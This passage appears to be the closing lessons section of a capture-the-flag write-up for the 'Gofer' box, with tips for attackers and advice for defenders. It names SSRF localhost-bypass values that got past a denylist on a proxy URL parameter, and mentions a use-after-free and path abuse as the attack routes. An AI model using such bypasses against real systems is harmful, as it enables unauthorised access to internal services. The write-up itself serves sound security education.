- Keep a reference of text tricks on-hand. This should include things like directory traversals, null bytes, different ways to phrase a url, encoding tricks, etc. Even if you think you know these well, having a reference on-hand will speed things up.
- Developers can do fine only knowing what’s new. A good hacker needs to know the old stuff too: a working knowledge of BASIC and an awareness of gopher protocol were both useful for this box.
- Remember the testing mantra: the good, the bad, and the ugly. Playing around with a binary should be the first step of reverse engineering, and you should try good inputs (ones that are intended / produce normal behaviour), bad inputs (clever guesses at what might become an exploit), and ugly inputs (Weird stuff: nonstandard encodings, empty inputs, any corner-case you can think of - these are for discovering vulnerabilities).
- Remember the easy tricks. Of all things, this “hard” box was rooted through path abuse. It seemed laughably simple. Don’t discount the things that look too easy, just because of the expected difficulty of a box.
Defender
Denylists are impossible to maintain. It’s almost a certainty that something will be missed. On this box, the developer had cleverly denied
localhost
and/127
from the parameter ofhttp://proxy.gofer.htb/index.php?url=[URL]
. However, HTTP is meant for maximum compatability, and there are many ways to specify the localhost. Two other options are0.0.0.0
and[0:0:0:0:0:ffff:127.0.0.1]
. A better way to create the filter would have been an allow-list that only allowed hostnames, with a regex to filter only valid URL constructs - after all, should the employees really have access to… the type of sites that only use IP addresses?Never, ever transmit credentials in plaintext. Tom had left his credentials in a cron job that would contact
proxy.gofer.htb
. Completely unnecessary, and it all took place over good ol’ unencrypted HTTP.Development should start with security. I know that Tom was “working on” the proxy, and probably time-constrained, but the choice of Basic HTTP Authentication (not even Digest Authentication) clearly shows that this aspect of the system was an afterthought. Figure out authentication, then make the feature.
Don’t ever re-use credentials. Better yet, get a good authenticator app or start using hardware tokens. Especially do not re-use a credential that was just transmitted in plaintext over http.
Two options: write better code, or use a memory-safe language. The use-after-free vulnerability in the
notes
app came down to sloppy application logic. When coding anything in a language like C or C++, you must go to great lengths to ensure memory management is perfect.Path abuse is always preventable. This vulnerability pops up when an application is called using a relative path or only by its name. Prevention is trivial: write your code to call applications by their absolute paths only.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake